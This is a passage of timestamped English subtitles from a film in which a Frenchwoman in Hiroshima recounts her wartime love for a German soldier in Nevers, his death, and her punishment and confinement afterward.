Then one day, I suddenly scream.

00:49:30.594 --> 00:49:33.722
Loud, like a deaf person.

00:49:34.723 --> 00:49:36.850
That's when they put me
in the cellar.

00:49:37.225 --> 00:49:38.769
To punish me.

00:49:39.102 --> 00:49:40.687
What did you scream?

00:49:40.771 --> 00:49:43.523
Your German name.
Just your name.

00:49:44.775 --> 00:49:49.154
The only memory I have left
is your name.

00:49:52.699 --> 00:49:55.619
I promise I won't scream anymore,

00:49:55.702 --> 00:49:58.497
so they take me back up to my room.

00:50:01.416 --> 00:50:05.837
I yearn for you so badly
I can't bear it anymore.

00:50:06.797 --> 00:50:09.007
- Are you afraid?
- I'm afraid everywhere.

00:50:09.549 --> 00:50:11.051
In the cellar. In my room.

00:50:14.805 --> 00:50:18.642
- Of what?
- Of never seeing you again.

00:50:20.060 --> 00:50:21.395
Even

00:50:25.941 --> 00:50:29.569
I turn 20 one day in the cellar.

00:50:30.904 --> 00:50:33.615
My mother comes
and tells me I'm 20 years old.

00:50:35.659 --> 00:50:37.452
My mother's crying.

00:50:37.786 --> 00:50:40.288
Do you spit in your mother's face?

00:50:42.249 --> 00:50:43.542
Yes.

00:50:49.339 --> 00:50:50.799
Drink.

00:50:58.890 --> 00:51:01.101
Afterwards,
I don't remember anymore.

00:51:03.478 --> 00:51:05.397
I don't remember anymore.

00:51:07.315 --> 00:51:13.989
You were saying the cellars
in Nevers are old and damp?

00:51:15.115 --> 00:51:18.744
Yes, full of saltpeter.

00:51:22.539 --> 00:51:25.333
Sometimes a cat comes in
to have a look around.

00:51:25.792 --> 00:51:27.669
It doesn't bother me.

00:51:30.130 --> 00:51:32.048
I don't remember anymore.

00:51:32.632 --> 00:51:34.593
Afterwards,
I don't remember anymore.

00:51:35.260 --> 00:51:37.012
How long?

00:51:38.680 --> 00:51:40.682
An eternity.

00:52:33.735 --> 00:52:36.488
I was so young once!

00:52:48.750 --> 00:52:51.628
At night my mother
takes me into the garden.

00:52:53.713 --> 00:52:55.966
She looks at my head.

00:52:56.800 --> 00:53:00.262
Every night she looks
carefully at my head.

00:53:02.180 --> 00:53:04.766
She still doesn't dare come close.

00:53:07.310 --> 00:53:10.105
At night I can see the town square.

00:53:10.939 --> 00:53:12.858
So I look.

00:53:14.359 --> 00:53:16.069
It's huge.

00:53:18.613 --> 00:53:20.657
It curves in the middle.

00:53:22.826 --> 00:53:25.704
Sleep comes only at dawn.

00:53:28.039 --> 00:53:30.792
Does it ever rain?

00:53:32.752 --> 00:53:34.713
Along the walls.

00:53:40.427 --> 00:53:42.470
I think of you...

00:53:43.722 --> 00:53:45.807
but I no longer speak of it.

00:53:46.433 --> 00:53:48.018
Madwoman!

00:53:51.354 --> 00:53:54.691
Madly in love with you.

00:53:59.237 --> 00:54:01.531
My hair grows back.

00:54:02.490 --> 00:54:05.535
I can feel it with my hands,
day by day.

00:54:06.202 --> 00:54:07.829
I don't care.

00:54:08.997 --> 00:54:11.666
But still, it's growing back.

00:54:15.253 --> 00:54:17.631
Do you scream
before going down to the cellar?

00:54:19.090 --> 00:54:21.593
No. I feel nothing.

00:54:22.135 --> 00:54:23.345
They're young.

00:54:24.012 --> 00:54:26.640
They shave my head carefully
till they finish the job.

00:54:27.265 --> 00:54:30.101
They believe it's their duty.

00:54:30.185 --> 00:54:33.021
Are you ashamed for them,
my love?

00:54:35.190 --> 00:54:36.900
You are dead.

00:54:37.400 --> 00:54:40.153
I'm too busy suffering.

00:54:41.613 --> 00:54:43.365
Night falls.

00:54:45.784 --> 00:54:49.496
I hear nothing but the sound
of the scissors on my head.

00:54:51.122 --> 00:54:57.295
It eases the pain
of your death a bit, like -

00:54:58.171 --> 00:55:01.633
I don't know how else to say it -

00:55:02.300 --> 00:55:07.597
like for my nails,
the walls, my anger.

00:55:10.350 --> 00:55:12.227
What pain!

00:55:12.811 --> 00:55:15.063
What pain in my heart!

00:55:18.566 --> 00:55:21.403
They sing the “Marseillaise”
all through the town.

00:55:22.904 --> 00:55:24.698
Night falls.

00:55:25.198 --> 00:55:27.826
My dead lover is
an enemy of France.

00:55:29.411 --> 00:55:32.372
Someone says she should be
paraded through town.

00:55:33.832 --> 00:55:37.585
My father's pharmacy is closed
due to the disgrace.

00:55:39.254 --> 00:55:41.172
I am alone.

00:55:42.257 --> 00:55:44.050
Some of them are laughing.

00:55:46.428 --> 00:55:48.722
I return home at night.

00:56:06.906 --> 00:56:11.619
And then one day, my love,
your eternity comes to an end.

00:56:19.919 --> 00:56:21.254
Yes.

00:56:23.631 --> 00:56:25.258
A long time.

00:56:25.759 --> 00:56:28.219
They said it was a long time.

00:56:30.805 --> 00:56:36.561
The cathedral bells ring at 6:00
every evening, summer and winter.

00:56:37.270 --> 00:56:40.273
One day I hear them.

00:56:40.982 --> 00:56:43.902
I remember
having heard them before.

00:56:44.652 --> 00:56:47.489
Before, when we were in love,

00:56:47.822 --> 00:56:49.741
when we were happy.

00:56:51.826 --> 00:56:53.953
I begin to see.

00:56:54.329 --> 00:56:57.749
I remember having seen before,

00:56:57.832 --> 00:57:00.710
when we were in love,

00:57:00.794 --> 00:57:02.754
when we were happy.

00:57:04.422 --> 00:57:06.299
I remember.

00:57:06.674 --> 00:57:08.551
I see the ink.

00:57:08.885 --> 00:57:10.929
I see the daylight.

00:57:11.721 --> 00:57:15.183
I see my life. Your death.

00:57:15.517 --> 00:57:19.145
My life that goes on,
your death that goes on.

00:57:19.854 --> 00:57:25.360
I see that the shadows take longer
to reach the corners of the room...

00:57:26.903 --> 00:57:32.492
and the corners of the cellar.

00:57:33.785 --> 00:57:36.079
About half past 6:00.

00:57:40.125 --> 00:57:42.377
Winter has ended.

00:57:51.886 --> 00:57:53.513
It's horrible!

00:57:54.055 --> 00:57:57.058
I remember you
less and less clearly.

00:57:58.935 --> 00:58:01.020
Give me something to drink.

00:58:09.904 --> 00:58:11.948
I begin to forget you.

00:58:14.325 --> 00:58:17.203
I tremble at forgetting such love.

00:58:19.247 --> 00:58:20.582
More.

00:58:37.932 --> 00:58:42.103
We were to meet at noon
on the banks of the Loire.

00:58:43.730 --> 00:58:46.733
I was to leave with him.

00:58:47.942 --> 00:58:50.945
When I arrived at noon
on the banks of the Loire...

00:58:52.197 --> 00:58:54.407
he wasn't quite dead yet.

00:58:54.741 --> 00:58:57.535
Someone had fired on him
from a garden.

00:58:59.120 --> 00:59:04.626
I stayed by his body all that day...

00:59:06.294 --> 00:59:09.214
and all the following night.

00:59:12.926 --> 00:59:17.972
The next morning, they came
to get him and put him in a truck.

00:59:19.891 --> 00:59:23.228
Nevers was liberated that night.

00:59:26.689 --> 00:59:32.153
The cathedral bells rang and rang.

00:59:35.323 --> 00:59:38.451
He grew cold beneath me,
little by little.

00:59:42.330 --> 00:59:44.791
He took so long to die!

00:59:47.210 --> 00:59:48.503
When?

00:59:49.462 --> 00:59:51.464
I don't know exactly.

00:59:52.715 --> 00:59:55.176
I was lying on top of him.

00:59:59.555 --> 01:00:02.809
The moment of his death
actually escaped me...

01:00:04.936 --> 01:00:10.817
because at that moment
and even afterwards -

01:00:12.318 --> 01:00:14.654
yes, I can even say afterwards -

01:00:15.446 --> 01:00:19.284
I couldn't find
the slightest difference

01:00:19.367 --> 01:00:21.536
between his dead body and my own.

01:00:25.039 --> 01:00:27.709
His body and mine...

01:00:29.502 --> 01:00:31.879
seemed to me
to be one and the same.

01:00:33.298 --> 01:00:37.260
You understand?
He was my first love!

01:00:55.653 --> 01:00:58.573
Then one day I screamed again,

01:00:58.948 --> 01:01:01.409
so they put me back in the cellar.

01:01:15.298 --> 01:01:17.258
It was warm.

01:01:22.096 --> 01:01:25.933
I think it was then
that my hatred left me.

01:01:28.102 --> 01:01:29.937
I don't scream anymore.

01:01:30.813 --> 01:01:33.232
I become reasonable.

01:01:34.317 --> 01:01:37.945
They say,
“She's become reasonable.”

01:01:40.865 --> 01:01:43.951
One holiday evening...

01:01:45.036 --> 01:01:47.080
they let me out.

01:01:47.789 --> 01:01:51.042
The banks of the Loire at dawn.

01:01:52.126 --> 01:01:54.295
People cross the bridge,

01:01:54.379 --> 01:01:56.881
in greater or smaller numbers,
depending on the hour.

01:01:57.465 --> 01:01:58.883
From afar they're nobody.

01:01:59.926 --> 01:02:02.053
It isn't long after that

01:02:02.136 --> 01:02:06.682
that my mother tells me I must
leave for Paris during the night.

01:02:07.558 --> 01:02:09.644
She gives me some money.

01:02:11.479 --> 01:02:14.774
I take off for Paris
one night on a bicycle.

01:02:16.484 --> 01:02:19.612
It's summer,
and the nights are warm.

01:02:32.166 --> 01:02:34.585
When I get to Paris two days later,

01:02:34.669 --> 01:02:37.672
Hiroshima is in all the papers.

01:02:39.674 --> 01:02:42.260
My hair has grown back
to a decent length.

01:02:43.010 --> 01:02:45.805
I'm among the crowds in the street.

01:02:50.518 --> 01:02:52.979
Fourteen years have passed.

01:03:25.470 --> 01:03:28.306
I don't even remember
his hands very well.

01:03:29.807 --> 01:03:32.435
I still remember the pain a little bit.

01:03:32.894 --> 01:03:34.562
Tonight?

01:03:34.979 --> 01:03:37.482
Yes, I remember it tonight.

01:03:39.066 --> 01:03:41.652
But one day
I will no longer remember it.

01:03:42.236 --> 01:03:43.905
At all.

01:03:45.072 --> 01:03:46.574
Nothing.

01:03:49.911 --> 01:03:54.165
This time tomorrow,

01:03:54.749 --> 01:03:57.960
I'll be thousands of miles from you.

01:04:00.588 --> 01:04:03.966
Does your husband know this story?

01:04:08.888 --> 01:04:10.932
So I'm the only one?

01:04:12.433 --> 01:04:13.851
Yes.

01:04:21.567 --> 01:04:24.695
I'm the only one who knows!

01:04:25.196 --> 01:04:26.781
Be quiet.

01:05:01.482 --> 01:05:04.610
It's so nice sometimes
to be with someone!

01:05:06.988 --> 01:05:08.406
Yes.

01:05:15.329 --> 01:05:16.914
Tell me more.

01:05:18.666 --> 01:05:20.001
Tell me.

01:05:27.717 --> 01:05:31.012
In a few years,
when I have forgotten you,

01:05:32.013 --> 01:05:35.182
and other adventures like this one

01:05:35.600 --> 01:05:41.063
will happen to me
from sheer force of habit...

01:05:42.189 --> 01:05:47.737
I'll remember you
as the symbol of love's forgetfulness.

01:05:48.154 --> 01:05:52.116
I'll think of this story
as of the horror of forgetting.

01:05:52.199 --> 01:05:54.452
I already know it.

01:05:59.081 --> 01:06:03.085
Don't things ever stop
at night in Hiroshima?

01:06:04.295 --> 01:06:07.214
No, they never stop.

01:06:08.674 --> 01:06:10.468
I like that.

01:06:11.302 --> 01:06:14.722
Cities where there's always
someone awake,

01:06:15.514 --> 01:06:18.559
day or night.

01:07:45.855 --> 01:07:50.735
Sometimes we have to avoid thinking
about the problems life presents.

01:07:51.861 --> 01:07:55.156
Otherwise we'd suffocate.

01:08:02.830 --> 01:08:04.832
Get away from me.

01:08:05.916 --> 01:08:08.836
The sun hasn't risen yet.

01:08:13.674 --> 01:08:17.678
We'll probably die without
ever seeing each other again.

01:08:19.513 --> 01:08:22.141
Yes, probably.

01:08:23.476 --> 01:08:25.895
Unless, perhaps, one day...

01:08:27.730 --> 01:08:29.565
a war -

01:08:31.817 --> 01:08:33.194
Yes.

01:08:34.445 --> 01:08:36.030
A war.

01:11:26.283 --> 01:11:28.661
You think you know,

01:11:29.620 --> 01:11:31.121
but no.

01:11:32.081 --> 01:11:33.707
Never.

01:11:41.966 --> 01:11:45.886
In her youth in Nevers
she had a German love.

01:11:48.639 --> 01:11:51.433
We'll go to Bavaria, my love,

01:11:52.142 --> 01:11:54.436
and we'll get married.

01:11:56.522 --> 01:11:59.149
She never went to Bavaria.

01:12:02.111 --> 01:12:05.489
Let those who never went to Bavaria
dare speak to her of love!

01:12:07.825 --> 01:12:10.035
You were not quite dead yet.

01:12:10.995 --> 01:12:13.580
I told our story.

01:12:14.206 --> 01:12:17.418
I cheated on you tonight
with that stranger.

01:12:17.918 --> 01:12:20.504
I told our story.

01:12:20.921 --> 01:12:23.590
You see, it was there to tell.

01:12:23.674 --> 01:12:28.887
Fourteen years since
I've tasted an impossible love!

01:12:29.972 --> 01:12:31.932
Since Nevers.

01:12:32.433 --> 01:12:34.435
Look how I'm forgetting you.

01:12:34.518 --> 01:12:36.478
Look how I've forgotten you.

01:12:36.770 --> 01:12:38.731
Look at me.

01:13:26.862 --> 01:13:29.156
I'm going to stay in Hiroshima.

01:13:29.990 --> 01:13:33.160
With him. Every night.

01:13:33.660 --> 01:13:35.412
In Hiroshima.

01:13:36.497 --> 01:13:39.666
I'm going to stay here. Here.

01:13:50.344 --> 01:13:53.222
Stay in Hiroshima.

01:13:54.807 --> 01:13:59.353
Of course I'll stay in Hiroshima...

01:14:00.938 --> 01:14:02.856
with you.

01:14:06.151 --> 01:14:08.862
I'm so miserable!

01:14:10.072 --> 01:14:13.450
I wasn't expecting this at all.
You understand?

01:14:25.045 --> 01:14:26.547
Go away!

01:14:29.383 --> 01:14:31.844
I couldn't possibly leave you.

01:14:56.743 --> 01:15:00.330
Stay in Hiroshima with me.

01:15:07.880 --> 01:15:10.132
He's going to walk towards me.

01:15:10.966 --> 01:15:13.719
He's going to take me
by the shoulders.

01:15:15.220 --> 01:15:17.264
He's going to kiss me.

01:15:18.265 --> 01:15:21.935
He's going to kiss me
and I'll be lost.

01:16:25.540 --> 01:16:27.668
I meet you.

01:16:28.043 --> 01:16:30.212
I remember you.

01:16:31.505 --> 01:16:34.591
This city was tailor-made for love.

01:16:35.509 --> 01:16:38.804
You fit my body like a glove.

01:16:39.680 --> 01:16:43.475
Who are you?
You're destroying me.

01:16:44.393 --> 01:16:45.769
I was hungry.

01:16:45.852 --> 01:16:47.854
Hungry for infidelity,

01:16:48.313 --> 01:16:52.109
for adultery, for lies

01:16:52.192 --> 01:16:53.986
and for death.

01:16:54.069 --> 01:16:55.862
I always have been.

01:16:58.865 --> 01:17:01.910
I had no doubt
you'd cross my path one day.

01:17:02.869 --> 01:17:08.083
I waited for you calmly,
with boundless impatience.

01:17:11.044 --> 01:17:12.713
Devour me.

01:17:13.547 --> 01:17:15.799
Deform me to your likeness,

01:17:15.882 --> 01:17:19.511
so that no one after you
will ever again understand

01:17:19.594 --> 01:17:22.222
the reason for so much desire.

01:17:24.057 --> 01:17:26.560
We'll be alone, my love.

01:17:27.561 --> 01:17:29.730
Night will never end.

01:17:30.188 --> 01:17:32.733
The day will never dawn again
on anyone.

01:17:33.608 --> 01:17:36.653
Never again.

01:17:37.112 --> 01:17:38.739
At last.

01:17:47.748 --> 01:17:50.000
You're still destroying me.

01:17:50.751 --> 01:17:52.586
You're good for me.

01:17:54.379 --> 01:17:55.922
We'll mourn the departed day

01:17:56.006 --> 01:17:58.633
in good conscience
and with goodwill.

01:17:59.551 --> 01:18:01.845
There'll be nothing else for us to do

01:18:01.928 --> 01:18:05.807
but mourn the departed day.

01:18:06.433 --> 01:18:10.270
Time will pass. Only time.

01:18:12.147 --> 01:18:14.232
And a time will come...

01:18:15.609 --> 01:18:21.281
when we can no longer name
what it is that binds us.

01:18:23.158 --> 01:18:26.661
Its name will gradually
be erased from our memory

01:18:27.037 --> 01:18:30.791
until it vanishes completely.

01:19:03.031 --> 01:19:07.119
Perhaps there's a chance you'll stay.

01:19:08.453 --> 01:19:10.205
You know very well.

01:19:10.288 --> 01:19:12.999
Staying is even more impossible
than leaving.

01:19:13.083 --> 01:19:14.835
A week.

01:19:17.337 --> 01:19:18.922
Three days.

01:19:19.005 --> 01:19:20.674
Time enough for what?

01:19:21.341 --> 01:19:24.094
To live from it? To die from it?

01:19:24.177 --> 01:19:26.263
Time enough to know which.

01:19:27.639 --> 01:19:29.641
There is no such thing.

01:19:30.016 --> 01:19:33.603
Neither time enough to live from it,
nor time enough to die from it.

01:19:36.189 --> 01:19:37.983
So I don't give a damn.

01:19:39.693 --> 01:19:44.906
I would prefer
you had died in Nevers.

01:19:45.532 --> 01:19:47.242
So would I.

01:19:49.035 --> 01:19:51.621
But I didn't die in Nevers.

01:20:43.840 --> 01:20:45.967
Nevers, you whom I'd forgotten,

01:20:46.676 --> 01:20:49.179
tonight I'd like to see you again.

01:20:50.472 --> 01:20:53.517
Night after night,
month after month, I set you afire...

01:20:54.684 --> 01:20:57.771
while my body was ablaze
with his memory.

01:21:34.432 --> 01:21:38.311
While my body is still ablaze
with the memory of you...

01:21:39.396 --> 01:21:41.523
I'd like to see Nevers once again.

01:21:42.607 --> 01:21:43.984
The Loire.

01:21:45.318 --> 01:21:48.238
Lovely poplar trees of Nièvre...

01:21:49.322 --> 01:21:51.449
I give you up to oblivion.

01:21:52.993 --> 01:21:55.453
Dime-store romance,

01:21:56.162 --> 01:21:58.331
I consign you to oblivion.

01:21:59.749 --> 01:22:04.796
One night without you
and I waited for day to deliver me.

01:22:05.880 --> 01:22:09.259
One day without his eyes
and she dies,

01:22:09.801 --> 01:22:11.678
the young girl from Nevers,

01:22:12.345 --> 01:22:15.015
shameless young girl from Nevers.

01:22:15.432 --> 01:22:19.352
One day without his hands
and she knows the pain of love.

01:22:19.853 --> 01:22:21.896
Silly little girl

01:22:21.980 --> 01:22:24.190
who died of love in Nevers.

01:22:24.691 --> 01:22:26.443
Little girl from Nevers
with shaven head,

01:22:26.526 --> 01:22:28.987
this evening
I relinquish you to oblivion.

01:22:29.529 --> 01:22:31.865
Dime-store romance.

01:22:33.199 --> 01:22:38.538
As it was with him,
forgetting will begin with your eyes.

01:22:39.539 --> 01:22:45.003
Then, as with him,
it will swallow your voice.

01:22:46.379 --> 01:22:50.967
Then, as with him,
it will consume you entirely,

01:22:51.384 --> 01:22:52.886
little by little.

01:22:53.720 --> 01:22:57.307
You will become a song.

01:23:12.864 --> 01:23:15.408
Who is she?

01:23:15.950 --> 01:23:17.577
A Frenchwoman.

01:23:23.875 --> 01:23:26.002
What's the matter?

01:23:28.922 --> 01:23:31.383
She's leaving Japan in a little while.

01:23:33.134 --> 01:23:38.431
We're sad at having
to leave each other.

01:28:59.043 --> 01:29:01.546
I had to come.

01:29:33.828 --> 01:29:36.456
I'll forget you.
I'm forgetting you already!

01:29:36.539 --> 01:29:39.083
Look how I'm forgetting you!
Look at me!

01:30:02.565 --> 01:30:04.442
That's your name.

01:30:05.068 --> 01:30:07.570
Yes, that's my name.

01:30:10.490 --> 01:30:13.910
And your name is Nevers.

01:30:14.577 --> 01:30:17.955
Nevers in France.

ZeroDay Forums Mini